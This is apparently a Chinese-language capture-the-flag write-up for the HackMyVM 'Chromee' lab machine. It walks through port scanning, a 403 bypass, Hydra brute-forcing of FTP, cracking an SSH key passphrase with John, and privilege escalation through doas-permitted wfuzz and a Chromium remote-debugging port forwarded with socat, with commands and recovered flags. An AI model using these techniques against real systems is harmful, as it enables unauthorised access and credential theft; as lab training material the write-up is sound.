HackMyVM-Chromee

(Updated: )
靶机
, , ,

Chromee.

https://hackmyvm.eu/machines/machine.php?vm=Chromee

Note：Have fun. :D

前期踩点

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➜  ~  nmap -sP 192.168.56.0/24                    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-14 11:05 EDT
Nmap scan report for 192.168.56.1
Host is up (0.00076s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00067s latency).
MAC Address: 08:00:27:00:4A:1E (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.43
Host is up (0.00049s latency).
MAC Address: 08:00:27:99:F9:89 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 15.09 seconds
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➜  ~  nmap -sT -min-rate 10000 -p- 192.168.56.43  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-14 11:06 EDT
Nmap scan report for 192.168.56.43
Host is up (0.0015s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
8080/tcp  open  http-proxy
23333/tcp open  elxmgmt
MAC Address: 08:00:27:99:F9:89 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 10.50 seconds

23333端口扫出来是vsftp 

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➜  ~  nmap -sT -A -T4 -O -p 22,80,8080,23333 192.168.56.43
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-14 11:07 EDT
Nmap scan report for 192.168.56.43
Host is up (0.00064s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp    open  http    nginx 1.18.0
|_http-title: primary
|_http-server-header: nginx/1.18.0
8080/tcp  open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.56 (Debian)
|_http-open-proxy: Proxy might be redirecting requests
23333/tcp open  ftp     vsftpd 3.0.3
MAC Address: 08:00:27:99:F9:89 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.64 ms 192.168.56.43

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.87 seconds
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➜  ~ nmap -script=vuln 22,80,8080,23333 192.168.56.43    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-14 11:26 EDT
Failed to resolve "22,80,8080,23333".
Nmap scan report for 192.168.56.43
Host is up (0.00018s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-vuln-cve2011-3192: 
|   VULNERABLE:
|   Apache byterange filter DoS
|     State: VULNERABLE
|     IDs:  BID:49303  CVE:CVE-2011-3192
|       The Apache web server is vulnerable to a denial of service attack when numerous
|       overlapping byte ranges are requested.
|     Disclosure date: 2011-08-19
|     References:
|       https://www.tenable.com/plugins/nessus/55976
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
|       https://www.securityfocus.com/bid/49303
|_      https://seclists.org/fulldisclosure/2011/Aug/175
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
8080/tcp open  http-proxy
MAC Address: 08:00:27:99:F9:89 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 82.11 seconds

vsftpd

扫描出了vsftpd，尝试是否允许匿名用户登录

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➜  ~ ftp 192.168.56.43 -p 23333
Connected to 192.168.56.43.
220 (vsFTPd 3.0.3)
Name (192.168.56.43:root): anonymous
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed

不允许，先放着

Web 渗透

存在 80 和 8080 ，优先级 80 > 8080

80 端口

访问 80 端口

image.png

扫描一下目录

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➜  Chromee gobuster dir -u http://192.168.56.43:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,zip                                                                          

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.43:80
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 4464]
/post.php             (Status: 200) [Size: 3]
/secret.php           (Status: 200) [Size: 549]
Progress: 1102800 / 1102805 (100.00%)
===============================================================
Finished
===============================================================

访问 secret.php 会将其下载下来

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<!DOCTYPE html>
<html>
<head>
    <title>Secret</title>
</head>
<body>
    <?php
    $greeting = date('H') < 12 ? '早上好' : (date('H') < 18 ? '下午好' : '晚上好');
    $visitorIP = htmlspecialchars($_SERVER['REMOTE_ADDR']);

    echo "<h1>{$greeting}，adriana</h1>";
    echo "<p>当前时间：" . date('Y-m-d H:i:s') . "</p>";
    echo "<p>你的IP：{$visitorIP}</p>";
    if (isset($_GET['aaa'])) {
    	$file_content = file_get_contents('/opt/note/dic.txt');
    	echo $file_content;
	} else {
    		die();
	}
    ?>
</body>
</html>

有两个有趣的点，用户名：adriana；传输 aaa 参数的话会回显 /opt/note/dic.txt 的内容。

8080 端口

访问 8080 端口，提示：You may need to bypass!

image.png

扫描目录

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➜  Chromee gobuster dir -u http://192.168.56.43:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,zip
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.43:8080
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 33]
/.html                (Status: 403) [Size: 280]
/javascript           (Status: 301) [Size: 326] [--> http://192.168.56.43:8080/javascript/]
/silence              (Status: 403) [Size: 280]
/.html                (Status: 403) [Size: 280]
/server-status        (Status: 403) [Size: 280]
Progress: 1102800 / 1102805 (100.00%)
===============================================================
Finished
===============================================================

访问 silence

image.png

根据提示尝试过绕过该限制

找到个工具：https://github.com/iamj0ker/bypass-403

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➜  bypass-403 git:(main) ✗ ./bypass-403.sh http://192.168.56.43:8080/silence | grep 200
200,616  --> http://192.168.56.43:8080/silence/ -H Content-Length:0 -X POST

通过POST方法即可绕过

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➜  bypass-403 git:(main) ✗ curl http://192.168.56.43:8080/silence/ -H Content-Length:0 -X POST                                                            
<!DOCTYPE html>
<html>
<head>
  <title>Silence</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      text-align: center;
      margin: 0;
      padding: 0;
    }

    .container {
      display: flex;
      justify-content: center;
      align-items: center;
      height: 100vh;
    }

    h1 {
      font-size: 30px;
    }

    p {
      font-size: 18px;
      color: #888;
    }
  </style>
</head>
<body>
  <div class="container">
    <div>
      <h1>Silence</h1>
      <p>We are working to improve our website.</p>
      <p>contact: support@chromee.hmv</p>
    </div>
  </div>
</body>
</html>

发现域名 chromee.hmv 将其放到 hosts 文件

通过域名访问地址

image.png

访问之前的secret.php

image.png

添加参数 aaa ，以获得 /opt/note/dic.txt 文件内容

image.png

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The Lost Key Lily, a curious girl, found an old rusty key in the woods. Wondering where it belonged, she asked everyone in the village, but no one knew. One day, she discovered a locked stone well. To her surprise, the key fit. She opened it and descended into a hidden passage. There, she found an ancient chest filled with treasures. But the real treasure was a note inside: “The greatest treasure is the journey, not the prize.” Lily smiled, realizing the adventure was the real reward.

FTP 爆破 & 信息收集

爆破

根据文件名应该是一个字典文件，并且也拿到了用户名adriana ，应该是要我们对哪里进行爆破，比如 FTP

现在对字典做处理

在尝试了使用cewl + john 生成的字典无果后，尝试使用cupp （根据人名生成字典）

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➜  cupp git:(master) python cupp.py -i
 ___________ 
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\   
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]

[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: adriana
> Surname: Lily
> Nickname: 
> Birthdate (DDMMYYYY): 

> Partners) name: 
> Partners) nickname: 
> Partners) birthdate (DDMMYYYY): 

> Child's name: 
> Child's nickname: 
> Child's birthdate (DDMMYYYY): 

> Pet's name: 
> Company name: 
...
**[+] Now load your pistolero with adriana.txt** and shoot! Good luck!

九头蛇爆破，得到密码 Lily2020

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➜  Chromee hydra -l adriana -P cupp/adriana.txt -Vv -t 12 ftp://192.168.56.43:23333
[23333][ftp] host: 192.168.56.43   login: adriana   password: Lily2020
[STATUS] attack finished for 192.168.56.43 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-14 22:40:53

信息收集

使用FTP进行连接

  • 可以找到有两个用户

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    ftp> cd home
    250 Directory successfully changed.
    ftp> ls
    229 Entering Extended Passive Mode (|||64841|)
    150 Here comes the directory listing.
    drwxr-x---    4 1000     1000         4096 Mar 09 08:59 follower
    drwxr-x---    3 1001     1001         4096 Mar 07 13:39 softly

  • /srv 下还能找到 zeus.conf 下载下来

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    ftp> cd srv                                                                                             
    250 Directory successfully changed.                                                                     
    ftp> ls                                                                                                 
    229 Entering Extended Passive Mode (|||61786|)                                                          
    150 Here comes the directory listing. 
    drwxr-xr-x    2 0        115          4096 Mar 07 04:08 ftp           
    -rw-r--r--    1 0        0             153 Mar 09 09:20 zeus.conf                              
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    ➜Chromee cat zeus.conf
    permit follower as softly cmd /usr/local/bin/wfuzz
    permit nopass :softly as root cmd /usr/bin/chromium
    permit nopass :softly as root cmd /usr/bin/kill

    1️⃣ permit follower as softly cmd /usr/local/bin/wfuzz

    → 允许用户 follower，以用户 softly 的身份运行 /usr/local/bin/wfuzz。

    2️⃣ permit nopass :softly as root cmd /usr/bin/chromium

    → 允许 softly 用户无密码，提权为 root 执行 /usr/bin/chromium。

    3️⃣ permit nopass :softly as root cmd /usr/bin/kill

    → 允许 softly 用户无密码，提权为 root 执行 /usr/bin/kill。

    那么我们应该是要先拿到follower用户

  • /opt/note 下发现隐藏文件 …

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    ftp> cd /opt/note
    250 Directory successfully changed.
    ftp> ls -al
    229 Entering Extended Passive Mode (|||59165|)
    150 Here comes the directory listing.
    drwxr-xr-x    2 106      115          4096 Mar 09 09:13 .
    drwxr-xr-x    4 0        0            4096 Mar 09 09:12 ..
    -rw-r--r--    1 0        0            3414 Mar 09 09:13 ...
    -rw-r--r--    1 0        0             495 Mar 07 15:40 dic.txt
    226 Directory send OK.

    是SSH私钥

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    ➜  Chromee file '...'
    ...: OpenSSH private key

    因为我们是要先拿到 follower用户，所以私钥应该是follower用户的

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    ➜  Chromee ssh follower@192.168.56.43 -i '...'
    Enter passphrase for key '...':

    需要密码，进行爆破

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    ➜  Chromee ssh2john '...' > sshkey     
                                 
    ➜  Chromee john --wordlist=/usr/share/wordlists/rockyou.txt sshkey               
    Using default input encoding: UTF-8
    Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
    Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
    Cost 2 (iteration count) is 24 for all loaded hashes
    Will run 16 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    cassandra        (...)     
    1g 0:00:00:25 DONE (2025-04-14 23:08) 0.03880g/s 39.73p/s 39.73c/s 39.73C/s johnson..cutie1
    Use the "--show" option to display all of the cracked passwords reliably

    得到密码cassandra

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    ➜  Chromee ssh softly@192.168.56.43 -i '...'   
    softly@192.168.56.43: Permission denied (publickey).

    成功登陆

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    ➜  Chromee ssh follower@192.168.56.43 -i '...'
    Enter passphrase for key '...': 
    follower@Chromee:~$

提权

To softly

上面找到的，貌似是doas的配置文件，dosa可以以其他用户执行命令

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➜Chromee cat zeus.conf
permit follower as softly cmd /usr/local/bin/wfuzz
permit nopass :softly as root cmd /usr/bin/chromium
permit nopass :softly as root cmd /usr/bin/kill

1️⃣ permit follower as softly cmd /usr/local/bin/wfuzz

→ 允许用户 follower，以用户 softly 的身份运行 /usr/local/bin/wfuzz。

2️⃣ permit nopass :softly as root cmd /usr/bin/chromium

→ 允许 softly 用户无密码，提权为 root 执行 /usr/bin/chromium。

3️⃣ permit nopass :softly as root cmd /usr/bin/kill

→ 允许 softly 用户无密码，提权为 root 执行 /usr/bin/kill。

允许follower，以用户 softly 的身份运行 /usr/local/bin/wfuzz

尝试使用，输入cassandra 但是认证失败了，现在目标应该是follower的密码

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follower@Chromee:~$ doas -u softly /usr/local/bin/wfuzz
Password: 
doas: authentication failed

家目录下能找到

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follower@Chromee:~$ ls
cat.gif  note.txt

note.txt

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follower@Chromee:~$ cat note.txt 
Think about rotations and the cat’s secrets.

47 is not just a number, it's a twist of fate.

旋转和猫？oiiaioiiiai ；47指的应该是 rot47

cat.gif 群主的修猫

image.png

应该是图片隐写了

因为gif是多帧的，我们查看每一帧时间

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➜  Chromee identify -format "%T " cat.gif
65 98 65 100 102 98 67 6 6 6 6 6 6 #

前面的帧数很奇怪不像后面稳定的帧

提权前面的帧去进行rot47解密，得到密码p3p573r

image.png

再次执行

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follower@Chromee:~$ doas -u softly /usr/local/bin/wfuzz
Password: 
 /usr/local/lib/python3.9/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
*                                                      *
* Version up to 1.4c coded by:                         *
* Christian Martorella (cmartorella@edge-security.com) *
* Carlos del ojo (deepbit@gmail.com)                   *
*                                                      *
* Version 1.4d to 3.1.0 coded by:                      *
* Xavier Mendez (xmendez@edge-security.com)            *
********************************************************

Usage:  wfuzz [options] -z payload,params <url>

        FUZZ, ..., FUZnZ  wherever you put these keywords wfuzz will replace them with the values of the specified payload.
        FUZZ{baseline_value} FUZZ will be replaced by baseline_value. It will be the first request performed and could be used as a base for filtering.

Examples:
        wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z
        wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}
        wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ

Type wfuzz -h for further information or --help for advanced usage.

尝试使用 -w 读取softly的私钥

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follower@Chromee:~$ doas -u softly /usr/local/bin/wfuzz -u 127.0.0.1 -w /home/softly/.ssh/id_rsa
Password: 
 /usr/local/lib/python3.9/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
 softly@Chromee:/home/follower$

却意外直接获得了softly用户的shell

To root

在家目录可以看到 user.txt

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softly@Chromee:~$ cat  user.txt
flag{c5dbe81aac6438c522d2f79cc7255e6a}

写入公钥，方便后面登录

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echo "ssh-rsa xxxxxx" > .ssh/authorized_keys

通过前面我们能知道softly可以以root用户执行：

2️⃣ permit nopass :softly as root cmd /usr/bin/chromium

→ 允许 softly 用户无密码，提权为 root 执行 /usr/bin/chromium。

3️⃣ permit nopass :softly as root cmd /usr/bin/kill

→ 允许 softly 用户无密码，提权为 root 执行 /usr/bin/kill。

尝试运行/usr/bin/chromium 

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softly@Chromee:~$ doas -u root /usr/bin/chromium --no-sandbox
[10526:10526:0415/095434.491167:ERROR:process_singleton_posix.cc(353)] The profile appears to be in use by another Chromium process (6169) on another computer (pepster). Chromium has locked the profile so that it doesn't get corrupted. If you are sure no other processes are using this profile, you can unlock the profile and relaunch Chromium.
[10526:10526:0415/095434.492377:ERROR:message_box_dialog.cc(146)] Unable to show a dialog outside the UI thread message loop: Chromium - The profile appears to be in use by another Chromium process (6169) on another computer (pepster). Chromium has locked the profile so that it doesn't get corrupted. If you are sure no other processes are using this profile, you can unlock the profile and relaunch Chromium.

可能是因为靶机上无GUI报的错，通过资料开启无头模式和远程调用

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softly@Chromee:/$ doas /usr/bin/chromium --headless --remote-debugging-port=9222 --no-sandbox &

DevTools listening on ws://127.0.0.1:9222/devtools/browser/165f92a5-e162-4f6b-a283-2e4b4a875abf
[0415/103414.852554:WARNING:bluez_dbus_manager.cc(248)] Floss manager not present, cannot set Floss enable/disable.
[0415/103414.872625:ERROR:angle_platform_impl.cc(44)] Display.cpp:1052 (initialize): ANGLE Display::initialize error 12289: Could not open the default X display.
ERR: Display.cpp:1052 (initialize): ANGLE Display::initialize error 12289: Could not open the default X display.
[0415/103414.873142:ERROR:gl_display.cc(515)] EGL Driver message (Critical) eglInitialize: Could not open the default X display.
[0415/103414.874323:ERROR:gl_display.cc(786)] eglInitialize Default failed with error EGL_NOT_INITIALIZED
[0415/103414.874594:ERROR:gl_display.cc(820)] Initialization of all EGL display types failed.
[0415/103414.874732:ERROR:gl_ozone_egl.cc(26)] GLDisplayEGL::Initialize failed.
[0415/103414.875005:ERROR:angle_platform_impl.cc(44)] Display.cpp:1052 (initialize): ANGLE Display::initialize error 12289: Could not open the default X display.
ERR: Display.cpp:1052 (initialize): ANGLE Display::initialize error 12289: Could not open the default X display.
[0415/103414.875188:ERROR:gl_display.cc(515)] EGL Driver message (Critical) eglInitialize: Could not open the default X display.
[0415/103414.875244:ERROR:gl_display.cc(786)] eglInitialize Default failed with error EGL_NOT_INITIALIZED
[0415/103414.875360:ERROR:gl_display.cc(820)] Initialization of all EGL display types failed.
[0415/103414.875466:ERROR:gl_ozone_egl.cc(26)] GLDisplayEGL::Initialize failed.
[0415/103414.890126:ERROR:viz_main_impl.cc(196)] Exiting GPU process due to errors during initialization

在本地上启动了 9222 端口

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softly@Chromee:~$ ss -tulpn
Netid    State     Recv-Q    Send-Q         Local Address:Port          Peer Address:Port    Process    
udp      UNCONN    0         0                    0.0.0.0:68                 0.0.0.0:*                  
tcp      LISTEN    0         10                 127.0.0.1:9222               0.0.0.0:*                  
tcp      LISTEN    0         511                  0.0.0.0:80                 0.0.0.0:*                  
tcp      LISTEN    0         128                  0.0.0.0:22                 0.0.0.0:*                  
tcp      LISTEN    0         32                         *:23333                    *:*                  
tcp      LISTEN    0         511                     [::]:80                    [::]:*                  
tcp      LISTEN    0         511                        *:8080                     *:*                  
tcp      LISTEN    0         128                     [::]:22                    [::]:*

使用 socat 转发出去

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softly@Chromee:~$ ./socat TCP-LISTEN:2222,fork tcp4:127.0.0.1:9222 &

使用 Chrome 进入调试页面 chrome://inspect/#devices

image.png

点击 configure

image.png

Done 之后会出现两个 URL

image.png

点击第一个进行查看

image.png

在调试页面可以看到会访问 post.php ,查看到载荷附带key值

image.png

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UGhhbnRvbSBFbmdhZ2UK

进行base64解码后是

image.png

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Phantom Engage : 幻影交战

尝试密码碰撞

最后使用未解码的 UGhhbnRvbSBFbmdhZ2UK 成功登录

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softly@Chromee:~$ su root
Password: 
root@Chromee:/home/softly#

读取 root.txt

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root@Chromee:~# cat root.txt 
flag{e96f7a29ba633b4e43214b43d1791074}